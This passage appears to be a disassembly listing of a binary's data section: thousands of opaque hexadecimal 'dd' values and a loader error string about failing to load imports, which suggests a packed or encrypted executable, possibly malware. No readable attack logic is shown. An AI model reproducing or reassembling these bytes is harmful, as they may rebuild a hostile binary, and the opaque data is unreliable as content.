0E8BC02B0h, 0E9421326h dd 63A17B0Bh, 1A0549F7h, 138916C9h, 5DB983B1h, 1D56F31Eh dd 0D8B255C5h, 0A1CE6B9Eh, 0EDB15F80h, 0F116C91Ah, 0B5E01F7Bh dd 6620BD87h, 1C321305h, 0E9ADDB51h, 34617EADh, 0C1EF1E5Ah dd 1D4608B6h, 0D2481320h, 0A7DA1470h, 2C12AF79h, 7C93C1F0h dd 600EB127h, 13201D66h, 400432A8h, 719CDA03h, 73C8E10Fh dd 0A03CA6Bh, 6B96D531h, 690C2F3Dh, 3342B935h, 0E413502Ah dd 373BECB6h, 8FA9962Dh, 0B0ECD26Fh, 5D376481h, 0BE00AE22h dd 40132093h, 763A68CAh, 14DE0C37h, 675B15B2h, 54132093h dd 0DE0C3F7Ah, 0E93E7714h, 3822D073h, 7E132093h, 9251D30Eh dd 0C7FA6123h, 3E083698h, 9DD9BFDCh, 2EA6DF1Fh, 9F4AB55h dd 0F1BB3C9Ah, 0F295F759h, 596323D1h, 0F56B1320h, 94315899h dd 59B644DCh, 65DC1320h, 0DA589410h, 860B4E3Ah, 0B5D23473h dd 366493CFh, 20A4149Eh, 0A57FEE13h, 6A9F3C67h, 2E5D990Bh dd 0FABC6A8Bh, 41320A7h, 0E7B7643Fh, 197B4911h, 479CD57Ch dd 0EC0D2ED1h, 2099783Eh, 0B4108613h, 531D4B76h, 99C7FCB6h dd 0C5F41320h, 0D3F8BC21h, 6816B9A0h, 13208826h, 0B39532A8h dd 58799A3Dh, 2088E4AAh, 4474EA13h, 13208802h, 0C179168Ch dd 709FDCB6h, 27D57842h, 13208867h, 9A54F167h, 0EF43A4F1h dd 84C39D36h, 0EE87BC59h, 472513BDh, 1430D31h, 6FD30000h dd 446FAD17h, 74913FE2h, 0BA1C3220h, 8CC7A144h, 0C4F2255Fh dd 0CEFB98FAh, 6A87BAF4h, 286E1C3Dh, 5D132010h, 0FE76E60h dd 9F156DD9h, 0AFE21C02h, 0C4F7320Ch, 5DFA2D68h, 206B0DA5h dd 3E619863h, 336D37h, 90C3FDE3h, 427D5762h, 7EACD715h dd 5A2452B4h, 6AE9DBA9h, 18B529C7h, 0F7148ADFh, 75A3D611h dd 274477B1h, 0A6D40741h, 0E1621A0Eh, 0C6AFD26Bh, 5471A4DEh dd 0C807346Eh, 0F60D3B9Dh, 0DA882BA1h, 0E6EC4894h, 0E001A41Ah dd 0EC486C32h, 0DBB72E6h, 0E6EC4849h, 0E07DDF55h, 0EA155339h dd 0DA50A5BCh, 48C18937h, 5FD5E6ECh, 0EF225C42h, 94BFFDC1h dd 6A0B8266h, 0DB7E003Ah, 598CC7D0h, 0D7B835A8h, 38725875h dd 0E65016C4h, 0E85EE6ECh, 0EC415886h, 0BFF9D376h, 0F7945E8Ch dd 0E6521CCAh, 0E65CE6ECh, 76A9E3C9h, 1A458448h, 0F77E1BECh dd 234073ADh, 0A781033Dh, 4C8EF60Dh, 677EAC0Eh, 4BF99C12h dd 0E6ECD107h, 0C4F32F9Fh, 0C76ACC96h, 4C19F198h, 0B9F88542h dd 3496608Eh, 0CB0AF097h, 0E823FDA0h, 496018B5h, 184784F4h dd 0D1F213B6h, 0EC786323h, 58F56BE6h, 0EC78C89Eh, 4360D6E6h dd 4C4C7B15h, 6CCFA135h, 0F02A10ADh, 0F67A0BDh, 0E522FC9Fh dd 3EEC19B6h, 1C328671h, 8A64077Dh, 0B9EC264Bh, 0BC5FC18Bh dd 1B77A6E2h, 0BB85B3DAh, 5291771Eh, 8AE2F927h, 56B8DF20h dd 468405B3h, 1C9219D8h, 0B96C56EEh, 204F16C9h, 2CA0392Dh dd 1A53F09Bh, 1AF52C2h, 1C328E98h, 4C7FB993h, 0D5B7541Eh dd 336D315Fh, 7F68CF00h, 0AFA7698Ah, 4ECF3h, 0D7FE3E00h dd 6998D4BAh, 0FA29664Ch, 89BCF7DDh, 1D48866Ch, 0CCE6FC00h dd 6046638Eh, 0F5DBF81Fh, 886E8BB6h, 31FE1B4Eh, 0EFDCA250h dd 89E21326h, 58176FABh, 0DB5298FBh, 741779FEh, 322179C6h dd 214FC51Ch, 2023B889h, 4C26BF13h, 0E7B1DF12h, 4B60154Ah dd 4526EA85h, 9D9Bh, 0C4EE6100h, 1816C91Ah, 0B1E41EF2h dd 98466794h, 16C91AD6h, 8CC562D8h, 7220C335h, 16C91A24h dd 420634AAh, 0A0E69408h, 2E16C91Ah, 0D9B356B8h, 27CE6B9Eh dd 822597EEh, 1C4B8761h, 1A89C57Fh, 9F1516C9h, 692DDBFCh dd 7516C91Ah, 0E6AA62FFh, 235C79ACh, 9B75ACCh, 16C91A19h dd 13530122h, 9B16C91Ah, 30A68825h, 0DE1DF702h, 665C16B3h dd 9C16C95Ah, 3F033160h, 0C2A6D403h, 0F8742A4Bh, 65DF481h dd 5F43F194h, 0A716C95Ah, 0E3361431h, 77000000h, 5AE6A856h dd 72E816C9h, 0A17BA7D5h, 60993665h, 0D4F59808h, 5795BEFAh dd 732DCA2Ch, 1C321316h, 84B3F060h, 1D7333E1h, 57B1320h dd 70B175A3h, 0A1F32C49h, 96D48225h, 2013201Dh, 1DE47CAAh dd 5663AACCh, 25EBC0B5h, 2FBAD92Bh, 0EA1E600Eh, 609CECDFh dd 0C663D931h, 85A5h, 4C7B6B00h, 7F5783F6h, 47801D64h dd 28D679F5h, 16C9D566h, 84EFC1Dh, 9616C9D5h, 5887C420h dd 3563D9BBh, 0D50F3071h, 0EA2340A2h, 0CB791C98h, 16C9D647h dd 81C57394h, 916C9D5h, 0A7719FCAh, 16178A4Fh, 7E191E76h dd 90EF6B1Ch, 89CA933Eh, 66940AECh, 0C976F4CEh, 0FE77EE16h dd 0D4360153h, 9E2965FBh, 9C4AED4Fh, 16C90016h, 7EB1EBC5h dd 0E689FFE1h, 0FB1896C5h, 381C5A71h, 0C98D4608h, 35D24816h dd 4C7B608Eh, 0D26D5998h, 6093CE75h, 63066832h, 0C9A8F1B5h dd 0EA87FD16h, 7C56CA04h, 0A3E3133Eh, 2B16C9A8h, 1A2553B5h dd 0A8D60140h, 215B41DEh, 7C2A4BEEh, 16C9A83Ah, 0AB14EC4h dd 660979D1h, 12C6B45h, 912DAA64h, 6C311C32h, 5F9D65E5h dd 8B3C0634h, 0AF11FC63h, 26D9E981h, 7D1E1320h, 0EFEDB3F8h dd 3D034526h, 0C9000000h, 4A7176Fh, 33A4C4D5h, 5102F900h dd 0D7CA0F7Bh, 0BBE885D2h, 3275140Dh, 0CEFC721Ch, 0B2F4A2C3h dd 38132057h, 177CFFAh, 5798AA64h, 3EDF1320h, 9AAC7437h dd 0B7C44526h, 8A000000h, 0EAAC5A7Bh, 0F416C91Ah, 0C1FBE17Eh dd 5E9C608Eh, 7BB69033h, 2FF3AB48h, 0D094C2F5h, 8C466396h dd 16C91656h, 223F72ACh, 0A1CF023Ch, 1FC2328Ah, 3211C471h dd 77940A1Ch, 0D376E63Eh, 6E99D8B2h, 0DE1A7640h, 1AB781AFh dd 0C6907560h, 0A447BD19h, 44618CCAh, 0CF023D17h, 543AD7A1h dd 41BAEB16h, 0E6F7161h, 20B5A16h, 1D5D0000h, 0B7F3D9F6h dd 48856B88h, 0DB16FC19h, 67A58BA8h, 0C71B1F3Ch, 6582ADEBh dd 0FA173E7Fh, 8DAAD514h, 1D3A6DA7h, 0FDC16F50h, 11326E2h dd 84C2CAA8h, 1A246A18h, 65A616C9h, 0E70E63Eh, 5DD10BF1h dd 0C91AEFAFh, 1779EF16h, 176FCCFAh, 0E2446FADh, 2E701E3Fh dd 6516C91Ah, 0C91AF7B7h, 2981F716h, 3BE916B3h, 1C322926h dd 24BCEA60h, 13200B1Eh, 0C8F62964h, 6D9BC604h, 2876FF9Ch dd 565520C1h, 4526C68Ah, 0A8A6h, 88C26C00h, 25632755h dd 0EE34CCFAh, 1416C916h, 0A48AA7DAh, 0BA94376Ah, 0B0F14D80h dd 1D34EC89h, 4B255C5h, 1C3211ABh, 95D987A8h, 1913201Bh dd 0E3C6FA9h, 6345E244h, 3F97D0EDh, 0BDA4280h, 51B33401h dd 0F5F600AEh, 27819C6h, 1C47855Fh, 0C61C4A79h, 0F6AC57EDh dd 0DE8F4009h, 0DE7B94DDh, 0E8135137h, 71B744B7h, 57130B6Fh dd 111h, 0DFFC2363h, 718EBDF9h, 21F4E8Bh, 91AEE11Ch, 25426DABh dd 0BBF9C121h, 4C8D7390h, 0E3220825h, 7BB59BB8h, 7D5E2B48h dd 26E38FCFh, 0D8B60F13h, 3C5984C2h, 0CCE91C56h, 5B88C29Eh dd 618FF11Ch, 0C59D2756h, 0C9106430h, 0D713A734h, 76137571h dd 6235690h, 620575CDh, 3316E8B4h, 91CDA71Ch, 9CFE2968h dd 3C6FAA6Eh, 45E2440Eh, 0B4BFED63h, 0CF6C9FDAh, 5F7CAFE9h dd 7FBD3F79h, 280CCEEBh, 4D27CA2Ch, 0EAB4E211h, 8320538Eh dd 615733CBh, 3651CA30h, 4B276715h, 31A75A3Ch, 8E165F94h dd 0D7042154h, 0BB0662A8h, 6B08070Ah, 75184B85h, 5335A9Bh dd 72D40741h, 1E591DD5h, 0D7AA769Ch, 0B2146676h, 7E40EE0Fh dd 805A3CBAh, 41A3D610h, 0ED28ECA4h, 87C88CBAh, 0C4613260h dd 271EDB1h, 83C0ED28h, 0FAC4F254h, 574D285Dh, 0E7CDEA1Dh dd 904C7AADh, 19h, 89BCF7D1h, 0A17BBEECh, 45093762h, 0E1ABD908h dd 0B9E4237Fh, 1D24C18Bh, 5B82C2AFh, 0FC2F692Dh, 0A0CB0ACEh dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h, 0D2013E02h dd 75A4E0A4h, 54518647h, 4C18159h, 83000000h, 0C8704E9h dd 89565C24h, 4C681E6h, 81000000h, 4EEh, 24348700h, 242C895Ch dd 54A168h, 240C8900h, 0E2BA5251h, 8149F34Ah, 667880EAh dd 54E28147h, 8166B10Dh, 3427F4F2h, 81D2F704h, 5FA7EAh dd 5AD189A9h, 0C1D9F749h, 0F18108E9h, 0CA8303Bh, 69D5F181h dd 0CD8909E8h, 0C8B5459h, 4C48124h, 83000000h, 148904ECh dd 8BA24h, 0CA010000h, 0FF5A2A89h, 83592434h, 34FF04C4h dd 0C4835D24h, 84CDE904h, 477AFFF9h, 95B87BE3h, 305EFFAh dd 0ECE0FFC5h, 0C778B0CDh, 233BA5BAh, 2C0CEA0Dh, 8E5A95EEh dd 0C71894B3h, 653E0AE4h, 5648D54Bh, 641C931Eh, 2E2CA71Fh dd 0C45B89CBh, 2C35C5C7h, 0B953F229h, 25433984h, 0F25C4E1h dd 0FB1F5A87h, 0A879C2FDh, 0E92AECE2h, 127h, 73765B50h dd 154EEFACh, 0 aAnErrorHasOcur db 'An Error has ocurred while loading imports',0 db 37h dd 0EB77E7ACh, 4977E75Ch, 1F77E73Ch, 77F7E2h, 77F7E3h dd 777E600h, 5 dup(0) dd 0FD000000h, 77E7A5h, 2Bh dup(0) dd 2000000h, 48000000h, 0F4C706E1h, 0CF63921Dh, 6F8F96A6h dd 1137FC70h, 35B11C13h, 41DB0447h, 722B6166h, 0A9F29E35h dd 88321177h, 678B90EFh, 0BFBF108Fh, 14D9ADA2h, 0D069C699h dd 5513A8E5h, 5632108Fh, 0A9614571h, 88321177h, 678B90EFh dd 0BFBF108Fh, 14D9A0D5h, 0D069C699h, 0F9B1D5EDh, 27DDEEA8h dd 1B61A66h, 5321566h, 0ABF5F1E3h, 0AFE2EA63h, 0FEFA01E3h dd 4EE2EA63h, 0AD3CF0E3h, 705A4363h, 0EEAEBDDEh, 612CE8D3h dd 2BB79863h, 0DD37F91Ch, 24B79CB6h, 537FC63h, 0ABCE8BE3h dd 0A7BF4563h, 14DDEE19h, 0D9A7EA36h, 8337FC6Bh, 0CB341CE3h dd 11321563h, 6DB7D366h, 137FC68h, 505B7C0Eh, 5487EAE8h dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0F81CB4E3h, 6DB7D363h dd 737FC68h, 45594B0Eh, 5487EAFAh, 537FC45h, 0AD0BDAE3h dd 0ABE2EA63h, 0FEC9A3E3h, 6DB7D363h, 1037FC68h, 405A3C0Eh dd 5487EA88h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FEC9AFE3h dd 6DB7D363h, 137FC68h, 420AD70Eh, 5487EABCh, 537FC45h dd 0AD0BDAE3h, 0ABE2EA63h, 0FEC9ABE3h, 358F9663h, 4437FC67h dd 22779069h, 94F41566h, 8DDB1B83h, 3AB47D23h, 97CDEF46h dd 14DB3623h, 0B1FD90EBh, 94CD108Fh, 0D9F090EFh, 94F41089h dd 8DDB1B83h, 94F17D2Ah, 97CDF540h, 14DB3623h, 0B1FD90EBh dd 94CD108Fh, 0D9F490EFh, 51DB1089h, 4E321566h, 0AD3CF0E3h dd 2F5A4763h, 0EE8E5F82h, 610134D3h, 8BB79863h, 0DD37FC5Fh dd 0D3B79CB6h, 4E37FA9Dh, 0AD3CF0E3h, 6A5A4763h, 0EE94592Ch dd 610134D3h, 8BB79863h, 0DD37FC5Fh, 0D7B79CB6h, 4E37FA9Dh dd 0AD3CF0E3h, 0C85A4763h, 0EECF57D2h, 611150D3h, 8BB79863h dd 0DD37FC5Fh, 9CB79CB6h, 4E37FC4Dh, 0AD3CF0E3h, 815A6263h dd 0EEC182CEh, 61322CD3h, 8BB79863h, 0DD37FC5Fh, 34B79CB6h dd 4E37FC4Bh, 0AD3CF0E3h, 355A4763h, 0EEB8C857h, 611150D3h dd 8BB79863h, 0DD37FC5Fh, 80B79CB6h, 4E37FC44h, 0AD3CF0E3h dd 1B5A4363h, 0EEE60A0Bh, 612CE8D3h, 2BB79863h, 0DD37F91Ch dd 98B79CB6h, 4E37FC71h, 0AD3CF0E3h, 585A5263h, 0EEB3C976h dd 611150D3h, 8BB79863h, 0DD37FC5Fh, 0D4B79CB6h, 4E37FC56h dd 0AD3CF0E3h, 0C05A5263h, 0EEB81AD3h, 611150D3h, 8BB79863h dd 0DD37FC5Fh, 0F7B79CB6h, 0B37FA9Dh, 0AD22BCDBh, 0A63D1563h dd 11321337h, 86D790A0h, 2C7E108Fh, 0FBE8098Fh, 3277A099h dd 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEEB4h, 86D790A0h dd 2C7E108Fh, 0FF46CBA8h, 3277A099h, 0DBF108Fh, 41DB2CA9h dd 0A7BBC599h, 14DDEEB0h, 86D790A0h, 2C7E108Fh, 95B39759h dd 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEEBCh dd 86D790A0h, 2C7E108Fh, 911D557Eh, 3277A099h, 0DBF108Fh dd 41DB2CA9h, 0A7BBC599h, 14DDEEBCh, 86D790A0h, 2C74108Fh dd 98EC1372h, 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h dd 14DDEE84h, 86D790A0h, 2C75108Fh, 0A3EE051Ch, 3277A099h dd 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEE8Ch, 86D790A0h dd 2C75108Fh, 0CDB59BCAh, 3277A099h, 0DBF108Fh, 41DB2CA9h dd 0A7BBC599h, 14DDEE88h, 86D790A0h, 2C75108Fh, 0F6A8B2B4h dd 3277A099h, 0DBF108Fh, 41DB2CA9h, 0A7BBC599h, 14DDEE94h dd 86D790A0h, 2C75108Fh, 98F32C62h, 3277A099h, 0DBF108Fh dd 41DB2CA9h, 0A7BBC599h, 14DDEE90h, 91BFA8E5h, 3132108Fh dd 0C7B7D346h, 5637FC68h, 0FA1F720Eh, 187EA86h, 0AF37FC45h dd 0F80BDAE3h, 1E2EA63h, 0ABC9EFE3h, 0C7B7D363h, 5637FC68h dd 0A181A40Eh, 187EAE8h, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h dd 0ABC9EBE3h, 0C7B7D363h, 5237FC68h, 0FE78B20Eh, 187EAA6h dd 0AF37FC45h, 0F80BDAE3h, 1E2EA63h, 0ABCE17E3h, 0C7B7D363h dd 5D37FC68h, 0EE5EFE0Eh, 7D87EA9Dh, 0AF37FC66h, 0F80BDAE3h dd 1E2EA63h, 0ABCE83E3h, 0C7B7D363h, 5537FC68h, 0FBBC400Eh dd 187EADDh, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h, 0ABCE13E3h dd 0C7B7D363h, 5237FC68h, 65CE90Eh, 187EADAh, 0AF37FC45h dd 0F80BDAE3h, 1E2EA63h, 0ABCE1FE3h, 0C7B7D363h, 4237FC68h dd 980CBF0Eh, 187EAA0h, 0AF37FC45h, 0F80BDAE3h, 1E2EA63h dd 0ABCE1BE3h, 678F9663h, 1137FC4Eh, 88D29169h, 0C1F41566h dd 27DB1B83h, 0DF037D20h, 3DCDEFF0h, 41DB3623h, 1BFD90EBh dd 0C1CD108Fh, 745890EFh, 0C1F41089h, 27DB1B83h, 2BE47D20h dd 3DCDE9C1h, 41DB3623h, 1BFD90EBh, 0C1CD108Fh, 744890EFh dd 0C1F41089h, 27DB1B83h, 0B5327D20h, 3DCD879Ah, 41DB3623h dd 1BFD90EBh, 0C1CD108Fh, 744C90EFh, 0C1F41089h, 27DB1B83h dd 5E587D20h, 3DCDE3B2h, 41DB3623h, 1BFD90EBh, 0C1CD108Fh dd 74B090EFh, 0C1F41089h, 27DB1B83h, 41D57D20h, 3DCD81ABh dd 41DB3623h, 1BFD90EBh, 0C1CD108Fh, 745C90EFh, 0C1F41089h dd 27DB1B83h, 65097D20h, 3DCDA444h, 41DB3623h, 1BFD90EBh dd 0C1CD108Fh, 744090EFh, 0C1F41089h, 27DB1B83h, 0FBDF7D20h dd 3DCDCA1Fh, 41DB3623h, 1BFD90EBh, 0C1CD108Fh, 744490EFh dd 0F9B11089h, 27DB0CEBh, 0D7126066h, 613CF0E3h, 1A5A4663h dd 0DDFCAB86h, 0F81150D3h, 47B79863h, 0BB37FC5Fh, 30B79CB6h dd 0D737FA9Ah, 613CF0E3h, 0C35A5263h, 0DDF5A438h, 0F81150D3h dd 47B79863h, 0BB37FC5Fh, 34B79CB6h, 9237FA9Ah, 612B98DBh dd 64471563h, 2CD790A0h, 7975108Fh, 6E506B63h, 6777A099h dd 0A7BF108Fh, 14DB2CA9h, 0DBBC599h, 41DDE97Ch, 2CD790A0h dd 7971108Fh, 1A481C90h, 6777A099h, 0A7BF108Fh, 14DB2CA9h dd 0DBBC599h, 41DDE978h, 2CD790A0h, 7971108Fh, 74138246h dd 6777A099h, 0A7BF108Fh, 14DB2CA9h, 0DBBC599h, 41DDE944h dd 3BBFA8E5h, 6432108Fh, 6DB7D326h, 737FC68h, 229A160Eh dd 5487EAEDh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE3FE3h dd 6DB7D363h, 737FC68h, 7904C00Eh, 5487EA83h, 537FC45h dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE33E3h, 6DB7D363h, 737FC68h dd 8800F40Eh, 5487EA8Ch, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h dd 0FECE3BE3h, 6DB7D363h, 737FC68h, 0D39E220Eh, 5487EAE2h dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE27E3h, 6DB7D363h dd 0B37FC68h, 17A2C10Eh, 5487EAF1h, 537FC45h, 0AD0BDAE3h dd 0ABE2EA63h, 0FECE23E3h, 6DB7D363h, 0B37FC68h, 4C3C170Eh dd 5487EA9Fh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE2FE3h dd 6DB7D363h, 937FC68h, 154B5C0Eh, 5487EAAEh, 537FC45h dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE57E3h, 6DB7D363h, 937FC68h dd 0D57F9C0Eh, 5487EABAh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h dd 0FECE2BE3h, 6DB7D363h, 1137FC68h, 391F220Eh, 5487EAFAh dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE53E3h, 6DB7D363h dd 737FC68h, 0F7C23F0Eh, 5487EAB4h, 537FC45h, 0AD0BDAE3h dd 0ABE2EA63h, 0FECE5FE3h, 6DB7D363h, 1637FC68h, 6086FF0Eh dd 5487EA9Bh, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0F81998E3h dd 6DB7D363h, 337FC68h, 0BA6B8C0Eh, 5487EA84h, 537FC45h dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE5BE3h, 6DB7D363h, 337FC68h dd 0DF52D70Eh, 5487EAD7h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h dd 0FECE47E3h, 6DB7D363h, 337FC68h, 84CC010Eh, 5487EAB9h dd 537FC45h, 0AD0BDAE3h dd 0ABE2EA63h, 0FECE43E3h, 6DB7D363h, 1B37FC68h, 72C07D0Eh dd 5487EAF8h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE4FE3h dd 6DB7D363h, 0B37FC68h, 0DE492A0Eh, 5487EAA1h, 537FC45h dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE93E3h, 6DB7D363h, 337FC68h dd 795C590Eh, 5487EA9Ch, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h dd 0FECE9FE3h, 6DB7D363h, 337FC68h, 2416D80Eh, 5487EAA5h dd 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE9BE3h, 6DB7D363h dd 1B37FC68h, 9952D90Eh, 5487EAB2h, 537FC45h, 0AD0BDAE3h dd 0ABE2EA63h, 0FECE4BE3h, 6DB7D363h, 1B37FC68h, 0CB665B0Eh dd 5487EAF8h, 537FC45h, 0AD0BDAE3h, 0ABE2EA63h, 0FECE77E3h dd 6DB7D363h, 1B37FC68h, 311A5D0Eh, 5487EAB7h, 537FC45h dd 0AD0BDAE3h, 0ABE2EA63h, 0FECE73E3h, 0E0367F63h, 44320566h dd 2222150Eh, 0EE327F66h, 613720F3h, 19B79C63h, 0AF37FC7Eh dd 0FEF249E3h, 0E2E2EA63h, 54327D62h, 225A1566h, 7B321546h dd 0BDA7EA66h, 0CD37FC63h, 0CB1004E3h, 0C8B79C63h, 0E237FC42h dd 54327D26h, 225A1566h, 7B321466h, 0BDA7EA66h, 0CD37FC63h dd 0CB3078E3h, 34879E63h, 337FC70h, 0AD3EC8FBh, 17879C63h dd 9837FC55h, 613198FBh, 99AF9E63h, 0A937FC6Ah, 11CB966Dh dd 82ED9169h, 15621566h, 0ABF22606h, 0F80310E3h, 880EAB63h dd 30311566h, 8F543542h, 31165165h, 8B4A65EDh, 0CF123112h dd 9FBB0D18h, 14DB1A07h, 0D3DEAE3h, 4432156Ch, 22231B8Eh dd 11A3FC66h, 3631566h, 40E07EB1h, 247780EFh, 1558108Fh dd 8822150Eh, 44584766h, 27078099h, 94BB108Fh, 8DDB3EE3h dd 0AC6BC5EDh, 223205B9h, 5531B830h, 3A53142h, 840042B9h dd 0DBB71AC8h, 4FCDEA99h, 360EE4Dh, 198F9EB1h, 0A137FC7Eh dd 0D101EAAFh, 490013ECh, 0C3369E20h, 113AFCA7h, 943D5FAEh dd 77CDEA8Ch, 94C5D4EDh, 0A1309C3Ch, 0EE6011A4h, 610310E3h dd 41A79E63h, 1B37FC57h, 0F83D74F3h, 82B61A63h, 1E321566h dd 26F49638h, 0EECD8E8Fh, 0E96C4F99h, 0C1F54D3Fh, 27DB14B7h dd 11321566h, 96BB90A1h, 4432108Fh, 9FB11566h, 14DDEEA8h dd 80B61A66h, 0C9321566h, 0CD6D65FBh, 0EEE1EA63h, 611AC4E3h dd 958F9663h, 4637FC4Eh, 11509769h, 0DF51566h, 41DB3DB7h dd 22321567h, 0B7879806h, 537FA9Ah, 0B42B04DBh, 0A9CC3E63h dd 4C8F9EB1h, 0B37FC7Eh, 8401EAAFh, 0E30013ECh, 96369E20h dd 0BB3AFCA7h, 0C13D5FAEh, 0DDCDEA8Ch, 0C1C5D4EDh, 878B905Fh dd 0C03D108Fh, 22321571h, 0FEFA8E5h, 8732108Fh, 44321FE3h dd 2BB7D266h, 1037FC60h, 0E9321566h, 45215BDFh, 493AAF24h dd 989F03C6h, 610120D3h, 0B874D263h, 22321566h, 0FFDCFB5Bh dd 0A8B71A88h, 0C5321566h, 0FFEFC858h, 5B71ABBh, 4F321566h dd 44321560h, 26F49666h, 2207A0EFh, 71DB108Fh, 0CF32156Eh dd 2BB726BEh, 0D037FC60h, 4A1916AEh, 7722D5A7h, 2BAF9CA7h dd 2C37FC60h, 88331566h, 44779669h, 1CB31566h, 0AA89AEDDh dd 880B9069h, 42F51566h, 22321566h, 9836D3E5h, 610120D3h dd 99AF9E63h, 0A937FC6Ah, 71E29E6Dh, 0D19D7EDh, 41DB3C5Bh dd 2130F5A7h, 0F823E8E3h, 8B9F8363h, 60769CA7h, 5EDB747Ah dd 40321566h, 3FB2634h, 0AD1990F3h, 2D302E63h, 11322DE2h dd 8CF09666h, 25BF2E27h, 2D37FC69h, 0EECDFDE3h, 3879899h dd 0C937FA9Dh, 0CB21CCDBh, 0D1B6B963h, 88349169h, 0AD981566h dd 0DDCDEA97h, 113215DEh, 0E5BF9866h, 0BB37FC28h, 27BF9C87h dd 4B37FC57h, 15B9433Fh, 41DB19BBh, 0A7B91EEDh, 14DB2463h dd 0D31F5B7h, 41DB0C5Fh, 44A4E355h, 13D2D4CBh, 99CF9065h dd 0E9A4108Fh, 0A16CD465h, 0F82EB0DBh, 0C3D1463h, 4432155Fh dd 177985Dh, 953D108Fh, 8832154Bh, 440B985Dh, 0A63D108Fh dd 11321547h, 0A9E7985Dh, 0C03D108Fh, 22321573h, 1DB88EBh dd 5BCD1096h, 0C1BBEDEDh, 27DB3217h, 1134A18Fh, 61AF9866h dd 0BB37E576h, 878F96B5h, 1137FC7Ah, 882F9169h, 0C1091566h dd 27DB17CFh, 113E9169h, 0D091566h, 41DB12A7h, 22379069h dd 0A8DB1566h, 0B3CDEA99h, 0AD1CB4E3h, 3AB71A63h, 92321566h dd 6133A8DBh, 0C13D1563h, 2232156Dh, 0D90E90EBh, 1DDB1089h dd 7FCDEA99h, 0CB1CB4E3h, 98B61A63h, 0BCDEA99h, 0ABC992DBh dd 0A73D1463h, 11321571h, 73D4905Dh, 0C13D1089h, 2232156Dh dd 0F79290EBh, 0E5DB153Eh, 77CDEA99h, 8B8F9699h, 1137FC76h dd 8B559169h, 0C1091566h, 27DDEEB4h, 94B91213h, 8DDB3493h dd 9EB72E21h, 5737FA9Dh, 0D4B79E61h, 0CF37FC43h, 0BFE4905Dh dd 25471089h, 17A390EDh, 0B375108Fh, 0ABC9CBE3h, 0A9356063h dd 0F832E0E3h, 0D095263h, 41DDEE84h, 0A7B91213h, 14DB1043h dd 6EB72E21h, 3137FA9Dh, 0F3B79E61h, 5637FC41h, 73D8905Dh dd 43471089h, 278790EDh, 2A75108Fh, 67C9FBE3h, 0CF356063h dd 0CB1FE4E3h, 94095263h, 8DDDEE94h, 0C1B91213h, 27DB3A2Fh dd 0E7B72E21h, 0FD37FA9Dh, 11B79E61h, 6537FC68h, 0EACC905Dh dd 8F471089h, 42CF90EDh, 1975108Fh, 0FEC9EFE3h, 0B226063h dd 0AD2B98DBh, 25471563h, 3DE390EDh, 0B75108Fh, 0AD36C4DBh dd 2D461563h, 0EDB4905Dh, 8F471089h, 491790EDh, 0A175108Fh dd 0F81A50DBh, 0FA461563h, 5463A8E5h, 5632108Fh, 7BB72E0Fh dd 0FD37FA9Ah, 9DB79E61h, 6537FC48h, 0ED48905Dh, 8F471089h dd 5A3390EDh, 1975108Fh, 0FECE7BE3h, 3356063h, 0AD25A0E3h dd 0A7095263h, 14DDE918h, 0DB91213h, 41DB3867h, 0A0B72E21h dd 6437FA9Ah, 9B79E61h, 337FC54h, 0DE40905Dh, 16471089h dd 0A2B790EDh, 7F75108Fh, 0CDCE63E3h, 9A356063h, 613B1CE3h dd 0F9B15263h, 27DB0537h, 1BB61A66h, 0B3321564h, 0ABCE17E3h dd 0A9356063h, 0F81808E3h, 0D095263h, 41DDE9F0h, 0A7B91213h dd 14DB1EE7h, 8EB72E21h, 3137FA9Ah, 0FFB79E61h, 5637FC4Bh dd 7438905Dh, 43471089h, 2D0F90EDh, 2A75108Fh, 67CE1BE3h dd 0CF356063h, 0CB2B7CE3h, 94095263h, 8DDDE974h, 0F9B10513h dd 27DB0CEBh, 9A356066h, 613A00E3h, 0C1095263h, 27DDE970h dd 94B91213h, 8DDB0A1Bh, 5EB72E21h, 5737FA9Ah, 9C8F9676h dd 8837FC7Fh, 0C1B91213h, 27DB08B7h, 0FB72E21h, 0FD37FA9Ah dd 0BDB79E61h, 6537FC71h, 0ED10905Dh, 8F471089h, 67FF90EDh dd 1975108Fh, 0FECE3FE3h, 0B226063h, 0AD2B98DBh, 25471563h dd 131790EDh, 0B375108Fh, 0ABCE33E3h, 0A1226063h, 0F82B98DBh dd 8F471563h, 4EEB90EDh, 1975108Fh, 0FECE3BE3h, 3356063h dd 0AD1CD8E3h, 0A7095263h, 14DDE954h, 0DB91213h, 41DB0887h dd 14B72E21h, 6437FA9Ah, 85B79E61h, 337FC62h, 0DE08905Dh dd 16471089h, 853790EDh, 7F75108Fh, 0CDCE2BE3h, 9A356063h dd 6115F8E3h, 0C1095263h, 27DDE924h, 94B91213h, 8DDB385Fh dd 2B72E21h, 5737FA9Ah, 0B79E61h, 0CF37FC6Ah, 0B878905Dh dd 25471089h, 1DC390EDh, 0B375108Fh, 0AD1998E3h, 0A9356063h dd 0F814A0E3h, 0D095263h, 41DDE928h, 0A7B91213h, 14DB372Fh dd 2B72E21h, 3137FA9Ah, 0B08F967Fh, 1137FA9Ah, 35B11C13h dd 41DB09C3h, 0A9356166h, 0F836CCE3h, 0D095263h, 